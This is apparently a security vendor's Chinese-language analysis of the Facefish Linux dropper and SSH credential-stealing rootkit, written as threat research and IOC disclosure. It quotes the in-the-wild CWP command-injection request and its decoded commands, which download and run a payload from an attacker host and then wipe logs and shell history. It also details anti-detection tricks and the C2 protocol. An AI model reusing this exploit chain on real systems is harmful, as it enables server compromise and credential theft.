窃密者Facefish分析报告
<!--kg-card-begin: markdown--><h1 id="">背景介绍</h1>
<p>2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。</p>
<p>2021年4月26号，Juniper发布了关于此样本的<a href="https://blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor"><strong>分析报告</strong></a>，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。</p>
<p>该家族的入口ELF样本<code>MD5=38fb322cc6d09a6ab85784ede56bc5a7</code>是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为<code>Facefish</code>。</p>
<h1 id="facefish">Facefish概览</h1>
<p>Facefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用<code>LD_PRELOAD</code>特性加载，通过Hook ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。</p>
<p>Facefish的主要功能有</p>
<ul>
<li>上报设备信息</li>
<li>窃取用户凭证</li>
<li>反弹Shell</li>
<li>执行任意命令</li>
</ul>
<p>基本流程如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_brief.png" alt="fish_brief" loading="lazy"></p>
<h1 id="">传播方式</h1>
<p>在野利用的漏洞如下所示</p>
<pre><code>POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&amp;service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&amp;owner=root&amp;override=1&amp;api_key=%00%00%C2%90 HTTP/1.1
Host: xxx.xx.xx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0

</code></pre>
<p>将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。</p>
<pre><code>cd /usr/bin; 
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; 
chmod 0777 /usr/bin/sshins; 
ls -al /usr/bin/sshins; ./sshins; 
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins; 
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; 
history -c
</code></pre>
<h1 id="">逆向分析</h1>
<p>简单来说，Facefish的感染程序可以分成3个阶段，</p>
<p>Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper</p>
<p>Stage 1: 释放阶段，Dropper释放出Rootkit</p>
<p>Stage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令</p>
<p>下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。</p>
<h2 id="stage1dropper">Stage 1:Dropper分析</h2>
<p>Dropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。</p>
<blockquote>
<p>MD5:38fb322cc6d09a6ab85784ede56bc5a7</p>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped</p>
<p>Packer: UPX</p>
</blockquote>
<p>另处值得一提的是，Drooper在二进制层面，采用了一些<code>tricks</code>来对抗杀软的查杀。</p>
<h2 id="trick1upxwithoverlay">Trick 1:upx with overlay</h2>
<p>如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_upxoverlay.png"  width="860px" />
<p>这种做法的目的有2个:</p>
<ol>
<li>对抗upx脱壳</li>
<li>Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通</li>
</ol>
<h2 id="trick2elfwithoutsections">Trick 2:elf without sections</h2>
<p>如下图所示，脱壳后样本中的section信息被抹除了</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_section.png"  width="860px" />
<p>这种做法的目的有2个:</p>
<ol>
<li>某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度</li>
<li>某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀</li>
</ol>
<h2 id="dropper">Dropper主要功能</h2>
<p>Dropper运行时会输出下图中的信息：</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_proc.png" alt="fish_blow" loading="lazy"></p>
<p>根据这个信息，我们将Dropper的功能分成了以下4个阶段</p>
<ol>
<li>检测运行环境</li>
<li>解密Config</li>
<li>配置Rootkit</li>
<li>释放并启动Rootkit</li>
</ol>
<h3 id="0x1">0x1:检测运行环境</h3>
<p>首先读取<code>/bin/cat</code>的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部 读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_env.png"  width="860px" />
<h3 id="0x2config">0x2:解密Config</h3>
<p>原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&amp;iv如下：</p>
<ul>
<li>key:buil</li>
<li>iv:00 00 00 00 00 00 00 00</li>
</ul>
<p>值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_blow.png" alt="fish_blow" loading="lazy"></p>
<p>第一眼看上去，会让人以为Blowfish的密钥为&quot;build&quot;。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为&quot;buil&quot;。</p>
<p>以原始的Config为例，</p>
<pre><code>BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7
</code></pre>
<p>解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_dec.png"  width="860px" />
<p>各字段具体的含义如下:</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>4</td>
<td>magic</td>
</tr>
<tr>
<td>0x0c</td>
<td>4</td>
<td>interval</td>
</tr>
<tr>
<td>0x10</td>
<td>4</td>
<td>offset of c2</td>
</tr>
<tr>
<td>0x14</td>
<td>4</td>
<td>port</td>
</tr>
<tr>
<td>0x20(pointed by 0x10)</td>
<td></td>
<td>c2</td>
</tr>
</tbody>
</table>
<p>解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是<code>0xCAFEBABE</code>，当校验通过后，进入配置Rootkit阶段。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_check.png" alt="fish_blow" loading="lazy"></p>
<h3 id="0x3rootkit">0x3:配置Rootkit</h3>
<p>首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newkey.png"  width="860px" />
<p>然后利用标志<code>0xCAFEBABEDEADBEEF</code>定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_confroot.png"  width="860px" />
<p>文件的变化如下所示：<br>
写入之前：</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_emconf.png"  width="860px" />
<p>写入之后：</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_newconf.png"  width="860px" />
<p>在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/fish_rodiff.png" alt="fish_blow" loading="lazy"></p>
<p>另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。<br>
<img src="__GHOST_URL__/content/images/2021/05/fish_freebsd.png" alt="fish_freebsd" loading="lazy"></p>
<h3 id="0x4rootkit">0x4:释放并启动Rootkit</h3>
<p>将上阶段配置好的的Rootkit写到 <code>/lib64/libs.so</code>文件中，同时向<code>/etc/ld.so.preload</code>写入以下内容实现Rootkit的预加载。</p>
<pre><code> /lib64/libs.so
</code></pre>
<p>通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中</p>
<pre><code>/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service
</code></pre>
<p>实际效果如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/03/fish_mod.png"  width="860px" />
<p>至此Dropper的任务完成，Rootkit开始工作。</p>
<h2 id="stage2rootkit">Stage 2:Rootkit分析</h2>
<p>Facefish的Rootkit模块<code>libs.so</code>工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：</p>
<blockquote>
<p>MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2</p>
<p>ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped</p>
</blockquote>
<p>在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。<br>
<img src="__GHOST_URL__/content/images/2021/05/face_export.png" alt="face_export" loading="lazy"><br>
<code>init_proc函数</code>，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。<br>
<code>bind函数</code>，它的主要功能是上报设备信息，等待执行C2下发的指令。<br>
<code>start函数</code>，它的主要功能是为网络通信中的密钥交换过程计算密钥。</p>
<h2 id="init_proc">.init_proc 函数分析</h2>
<p>.init_proc函数首先会解密Config，取得C2,PORT等相关信息，然后判断被注入的进程是否为SSH/SSHD，如果是则对处理凭证的相关函数进行HOOK，最终当ssh主动对处连接，或sshd被动收到外部连接时，Facefish在Hook函数的帮助下，窃取登录凭着并发送给C2。</p>
<h3 id="0x1ssh">0x1 寻找SSH</h3>
<p>如果当前系统为FreeBSD则，通过dlopen函数获取link_map结构的地址，利用link_map可以遍历当前进程所加载的模块，进而找到SSH相关模块。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_fmap.png" alt="fish_fmap" loading="lazy"></p>
<p>如果当前系统不是FreeBSD，则通过<code>.got.plt</code> 表的第2项，得到link_map的地址。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_nmap.png" alt="fish_nmap" loading="lazy"></p>
<p>得到SSH相关模块后，接着判断模块是否为ssh/sshd，方法比较简单，即验证模块中是否有以下字串。通过这一点，可知Facefish事实上只攻击OpenSSH实现的client/server。</p>
<pre><code>1:usage: ssh
2:OpenSSH_
</code></pre>
<h3 id="0x2hook">0x2 HOOK函数</h3>
<p>首先，Facefish会查找hook的函数地址</p>
<p>其中要hook的ssh函数如所示：</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshproc.png"  width="860px" />
<p>要hook的sshd函数如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_sshdproc.png"  width="860px" />
<p>如果没有找到，则将函数名加上前缀<code>Fssh_</code>再找一次。如果还是没有找到，则通过函数中的字串间接定位到函数。最后通过以下代码片断实现Hook。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_hook.png" alt="face_hook" loading="lazy"></p>
<p>实际中HOOK前后的对比如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/05/fish_comp.png"  width="860px" /></p>
<h3 id="0x3">0x3 窃取登录凭证</h3>
<p>Facefish在Hook后的函数帮助下，窃取登录凭证，并上报给C2。</p>
<p><img src="__GHOST_URL__/content/images/2021/05/fish_upinfo.png" alt="fish_upinfo" loading="lazy"></p>
<p>上报的数据格式为<code>%08x-%08x-%08x-%08x,%s,%s,%s,%s,%s</code>，其中前32节节为加密的key，后面跟着账号，远程主机，密码等信息。</p>
<p>实际中上报的信息如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/05/fish_pass.png"  width="860px" />
<h2 id="bind">bind 函数分析</h2>
<p>一旦用户通过ssh登录，将会触发bind函数接着执行一系列后门行为，具体分析如下：</p>
<p>如果后门初始化正常，首先会fork后门子进程并进入连接C2的指令循环，父进程则通过syscall(0x68/0x31)调用真正的bind函数。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170340084-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x1">0x1: 主机行为</h3>
<p>判断sshd父进程是否存在，如果父进程退出，则后门进程也退出。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170431037-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>如果父进程存在开始收集主机信息，包括：CPU型号、Arch，内存大小、硬盘大小、ssh服务相关配置文件和凭证数据。</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508165505995-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>CPU型号</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170040197-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>内存</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170138167-2.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>硬盘</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170600524-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>网络设备</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173142888-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>SSH服务相关</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508170834920-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173314536-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="0x2c2">0x2: C2指令介绍</h3>
<p>Facefish使用的通信协议及加密算法比较复杂，其中0x2XX开头的指令用来交换公钥，我们在下一小节进行详细分析。0x3XX开头的指令是真正的C2功能指令。这里先对C2的功能指令做简单说明。</p>
<ul>
<li>
<p>发 0x305</p>
<p>是否发送上线信息0x305，如果没有则收集信息并上报。</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508173614278-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>发0x300</p>
<p>功能上报窃取的凭证信息</p>
</li>
<li>
<p>发0x301</p>
<p>收集uname信息，组包并发送0x301，等待进一步指令。</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174238407-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>收0x302</p>
<p>接受指令0x302，反向shell。</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508174458428-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>收0x310</p>
<p>接受指令0x310，执行任意的系统命令</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210508175705147-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>发0x311</p>
<p>发指令0x311，返回系统命令的执行结果</p>
</li>
<li>
<p>收0x312</p>
<p>接受指令0x312，重新收集并上报主机信息。</p>
</li>
</ul>
<h3 id="0x3">0x3: 通信协议分析</h3>
<p>Facefish的rootkit使用了一个自定义的加密协议进行C2通信，该协议使用DH <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">(Diffie–Hellman)</a> 算法进行密钥协商，使用BlowFish对称加密算法进行数据加密。具体运行时，单次C2会话可以分为两个阶段，第一阶段对应密钥协商，第二阶段便是使用协商好的密钥进行C2加密通信。Facefish的每次C2会话只收取并解密一条C2指令，然后便会结束。不难看出，因为使用了DH和Blowfish算法，仅从流量数据入手是无法获取其C2通信内容的，而且这种一次一密的通信也不会留下用于精准识别的流量特征。</p>
<p>一般来说使用DH协议框架通信最简便的方法是使用OpenSSL库，而Facefish的作者自己编码(或者使用了某些开源项目)实现了整个通信过程，因为没有引入第三方库所以代码体积非常精减。</p>
<ul>
<li>
<p>DH通信原理</p>
<p>为了更好的理解Facefish的密钥交换代码，我们需要先简单了解一下DH通信原理。这里不讨论背后的数学原理，而是用一个简单的例子直接套公式描述通信过程。</p>
<p>step 1. 甲生成一个随机数 a=4，选择一个素数 p=23，和一个底数 g=5，并计算出 公钥A:<code>A= g^a%p = 5^4%23 = 4</code>，然后将p，g，A同时发送给乙。</p>
<p>step 2. 乙收到上述信息后也生成一个随机数 b=3，使用同样的公式算出公钥B:<code>B = g^b%p = 5^3%23 = 10</code>，然后将B发送给甲。同时乙计算出双方共享的机密值用于生成后续的Blowfish密钥: <code>s = A^b%p = (g^a)^b%p = 18</code>。</p>
<p>step 3. 甲收到B后也可以计算出共享机密值：<code>s = B^a%p = (g^b)^a%p = 18</code></p>
<p>step 4. 甲乙双方基于共享机密s生成blowfish密钥，进行加密C2通信。</p>
<p>实质上通过简单推导可以看出甲和乙计算s的公式是同一个 ：</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/formlua-2.PNG" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>在整个算法中有一个关键的数学函数求幂取模 power(x, y) mod z，当x，y都很大的时候直接求解比较困难，所以就用到了<a href="https://oi-wiki.org/math/quick-pow/">快速幂取模算法</a>。前文提到的<code>start</code>函数正是快速幂取模 binpow() 中的关键代码，</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123409286-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510123553608-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>协议分析</p>
<p>发包和收包使用相同的数据结构。</p>
<pre><code class="language-c">  struct package{
      struct header{
          WORD payload_len;  //payload长度
          WORD cmd; 		//指令编码
          DWORD payload_crc; // payload crc校验值
      } ;
      struct header hd;
      unsigned char payload[payload_len]; // 数据
  }
</code></pre>
<p>以构造0x200指令数据包为例可以定义数据包如下：</p>
<pre><code class="language-c">struct package pkg = {
	.hd.payload_len = 0;
	.hd.cmd = 0x200;
	.hd.payload_crc = 0;
	.payload = &quot;&quot;;
}

</code></pre>
<p>对照DH通信原理和流量数据我们分析通信协议：</p>
</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510104153887-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol>
<li>
<p>bot首先发送指令0x200，payload数据为空。</p>
</li>
<li>
<p>C2回复了指令0x201，payload长度为24个字节，按小端转换成3个 64位的数值，分别对应step1中甲发送的3个关键数据，p=0x294414086a9df32a，g=0x13a6f8eb15b27aff, A=0x0d87179e844f3758。</p>
</li>
<li>
<p>对应step2，bot在本地生成了一个随机数b，然后根据收到的p，g 生成B=0x0e27ddd4b848924c，通过指令0x202发送给C2。至此完成了共享机密的协商。</p>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510115024505-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="4">
<li>对应step3，bot和C2通过公钥A和公钥B生成Blowfish密钥s和iv。其中iv是通过p和g异或得到的。</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt_s.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/DH_blowfish_encrypt-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ol start="5">
<li>
<p>有了iv 和 s 我们可以对通信数据进行加解密。真正的通信数据采用BlowFish算法加解密，和前文提到的配置文件加密的方法是一致的。bot向C2发送0x305指令，长度为0x1b0，内容是BlowFish加密后的上线包数据。</p>
<p>解密后的上线包数据如下：</p>
</li>
</ol>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/05/image-20210510190724649-1.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h1 id="ioc">IOC</h1>
<p>Sample MD5</p>
<pre><code>38fb322cc6d09a6ab85784ede56bc5a7 sshins
d6ece2d07aa6c0a9e752c65fbe4c4ac2 libs.so
</code></pre>
<p>C2</p>
<pre><code>176.111.174.26:443
</code></pre>
<!--kg-card-end: markdown-->
背景介绍


2021年2月，我们捕获了一个通过CWP的Nday漏洞传播的未知ELF样本，简单分析后发现这是一个新botnet家族的样本。它针对Linux x64系统，配置灵活，并且使用了一个基于Diffie–Hellman和Blowfish的私有加密协议。但因为通过合作机构（在中国区有较好网络通信观察视野）验证后发现对应的C2通信命中为0，所以未再深入分析。


2021年4月26号，Juniper发布了关于此样本的分析报告，我们注意到报告中忽略了一些重要的技术细节，所以决定将漏掉的细节分享出来。


该家族的入口ELF样本MD5=38fb322cc6d09a6ab85784ede56bc5a7是一个Dropper，它会释放出一个Rootkit。因为Juniper并未为样本定义家族名，鉴于Dropper在不同的时间点释放的Rootkit有不同的MD5值，犹如川剧中的变脸，并且该家族使用了Blowfish加密算法，我们将它命名为Facefish。



Facefish概览


Facefish由Dropper和Rootkit 2部分组成，主要功能由Rootkit模块决定。Rootkit工作在Ring3层，利用LD_PRELOAD特性加载，通过Hook ssh/sshd程序的相关函数以窃取用户的登录凭证，同时它还支持一些后门功能。因此可以将Facefish定性为，一款针对Linux平台的窃密后门。


Facefish的主要功能有


 * 上报设备信息
 * 窃取用户凭证
 * 反弹Shell
 * 执行任意命令


基本流程如下图所示：






传播方式


在野利用的漏洞如下所示


POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshins;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&override=1&api_key=%00%00%C2%90 HTTP/1.1
Host: xxx.xx.xx.xx:2031
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0




将与Facefish相关部分转码后，得到以下执行命令序列，可以看出主要功能为下载执行第一阶段的payload，然后清理痕迹。


cd /usr/bin; 
/usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; 
chmod 0777 /usr/bin/sshins; 
ls -al /usr/bin/sshins; ./sshins; 
cat /etc/ld.so.preload;
rm -rf /usr/bin/sshins; 
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log; 
history -c




逆向分析


简单来说，Facefish的感染程序可以分成3个阶段，


Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper


Stage 1: 释放阶段，Dropper释放出Rootkit


Stage 2:业务阶段，Rootkit 收集回传敏感信息，等待执行C2下发的指令


下文将从Stage 1到Stage 2着手，分析Facefish的各个阶段的技术细节。



Stage 1:Dropper分析


Dropper的基体信息如下所示，主要功能为检测运行环境，解密存有C2信息的Config， 配置Rootkit，最后释放并启动Rootkit。





MD5:38fb322cc6d09a6ab85784ede56bc5a7


ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped


Packer: UPX



另处值得一提的是，Drooper在二进制层面，采用了一些tricks来对抗杀软的查杀。



Trick 1:upx with overlay


如下图所示，将加密的Config数据作为overlay，填充到upx加壳后的样本尾部。



这种做法的目的有2个:


 1. 对抗upx脱壳
 2. Config数据与样本解耦，可以通过工具更新Config，无需再编译源码，方便在黑市流通



Trick 2:elf without sections


如下图所示，脱壳后样本中的section信息被抹除了



这种做法的目的有2个:


 1. 某些依赖section的信息进行分析的工具无法正常工作，抹除section在一定程度上加大了分析难度
 2. 某些杀毒引擎依赖section信息生成特征的的检测区，抹除section在一定程度上实现了免杀



Dropper主要功能


Dropper运行时会输出下图中的信息：





根据这个信息，我们将Dropper的功能分成了以下4个阶段


 1. 检测运行环境
 2. 解密Config
 3. 配置Rootkit
 4. 释放并启动Rootkit



0x1:检测运行环境


首先读取/bin/cat的前16个字节，通过判断第5个字节(EI_CLASS)的值来判断当前系统的位数,目前Facefish只支持x64系统。然后检查自身否在root权限下运行，最后尝试从自身文件尾部 读入Config信息。其中任一环节失败，Facefish都将放弃感染，直接退出。




0x2:解密Config


原始的Config信息长度为128字节，采用Blowfish算法的CBC模式加密，以overlay的形式储存在文件尾部。其中Blowfish的解密key&iv如下：


 * key:buil
 * iv:00 00 00 00 00 00 00 00


值得一提的是在使用Blowfish时，其作者在编码过程中，玩了一个小trick来“恶心”安全研究人员，以下图代码片段为例：





第一眼看上去，会让人以为Blowfish的密钥为"build"。注意第3个参数为4，即密钥的长度为4字节，所以真实的密钥为"buil"。


以原始的Config为例，


BD E8 3F 94 57 A4 82 94 E3 B6 E9 9C B7 91 BC 59
5B B2 7E 74 2D 2E 2D 9B 94 F6 E5 3A 51 C7 D8 56
E4 EF A8 81 AC EB A6 DF 8B 7E DB 5F 25 53 62 E2
00 A1 69 BB 42 08 34 03 46 AF A5 7B B7 50 97 69
EB B2 2E 78 68 13 FA 5B 41 37 B6 D0 FB FA DA E1
A0 9E 6E 5B 5B 89 B7 64 E8 58 B1 79 2F F5 0C FF
71 64 1A CB BB E9 10 1A A6 AC 68 AF 4D AD 67 D1
BA A1 F3 E6 87 46 09 05 19 72 94 63 9F 50 05 B7



解密后的Config如下所示，可以看到其中的c2:port信息（176.111.174.26:443）。



各字段具体的含义如下:





offset
length
meaning




0x00
4
magic


0x0c
4
interval


0x10
4
offset of c2


0x14
4
port


0x20(pointed by 0x10)

c2





解密完成后，通过以下代码片段对Config进行校验，校验方法比较简单，即比较magic值是不是0xCAFEBABE，当校验通过后，进入配置Rootkit阶段。






0x3:配置Rootkit


首先以当前时间为种子随机生成16个字节做为新的Blowfish的加密key，将上阶段的解密得到的Config使用新的key重新加密。



然后利用标志0xCAFEBABEDEADBEEF定位Dropper中的Rootkit的特定位置，写入新的加密key以及重新加密后的Config信息。



文件的变化如下所示：

写入之前：



写入之后：



在这个过程中因为加密key是随机生成的，所以不同时间释放的Rootkit的MD5值是不一样的，我们推测，这种设计是用来对抗杀软黑白HASH检测。





另外值得一提的是，Facefish专门对FreeBSD操作系统做了支持。实现方法比较简单，如下图所示，即通过判断cat二进制中的EI_OSABI是否等于9，如果是则把Rootkit中的EI_OSABI值修改成9。





0x4:释放并启动Rootkit


将上阶段配置好的的Rootkit写到 /lib64/libs.so文件中，同时向/etc/ld.so.preload写入以下内容实现Rootkit的预加载。


 /lib64/libs.so



通过以下命令重起ssh服务，让Rootkit有机会加载到sshd程序中


/etc/init.d/sshd restart
/etc/rc.d/sshd restart
service ssh restart
systemctl restart ssh
systemctl restart sshd.service



实际效果如下所示：



至此Dropper的任务完成，Rootkit开始工作。



Stage 2:Rootkit分析


Facefish的Rootkit模块libs.so工作在Ring3层，通过LD_PRELOAD特性加载，它基本信息如下所示：





MD5:d6ece2d07aa6c0a9e752c65fbe4c4ac2


ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped



在IDA中能看到它导出了3个函数，根据preload机制，当rootkit被加载时，它们会替代libc的同名函数，实现hook。



init_proc函数，它的主要功能是hook ssh/sshd进程中的相关函数以窃取登录凭证。

bind函数，它的主要功能是上报设备信息，等待执行C2下发的指令。

start函数，它的主要功能是为网络通信中的密钥交换过程计算密钥。



.init_proc 函数分析


